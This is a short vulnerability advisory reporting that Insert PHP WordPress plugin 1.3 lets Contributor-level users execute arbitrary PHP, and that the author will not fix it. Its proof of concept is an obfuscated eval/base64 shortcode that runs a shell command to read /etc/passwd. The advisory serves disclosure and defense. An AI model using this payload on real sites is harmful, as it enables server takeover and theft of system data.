------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
It was found that the Insert PHP WordPress Plugin allows an
authenticated user with Contributor role (or higher) to run arbitrary
PHP code. Consequently, this effectively disables any security controls
implemented in WordPress.

OVE ID

OVE-20160712-0001

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
These issues were successfully tested on Insert PHP WordPress Plugin
version 1.3.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
There is currently no fix available. The author of the Insert PHP
WordPress Plugin has indicated that this issue will not be
resolved/mitigated.

An authenticated user with Contributor role (or higher), can make a new post and execute any command on the server. Since the privileges of a Contributor are normally restricted, using the insert_php shortcode effectively disables any security controls implemented in WordPress.
Proof of concept

Create a new post and add the following shortcode:

[insert_php]eval(base64_decode('c3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs='));[/insert_php]
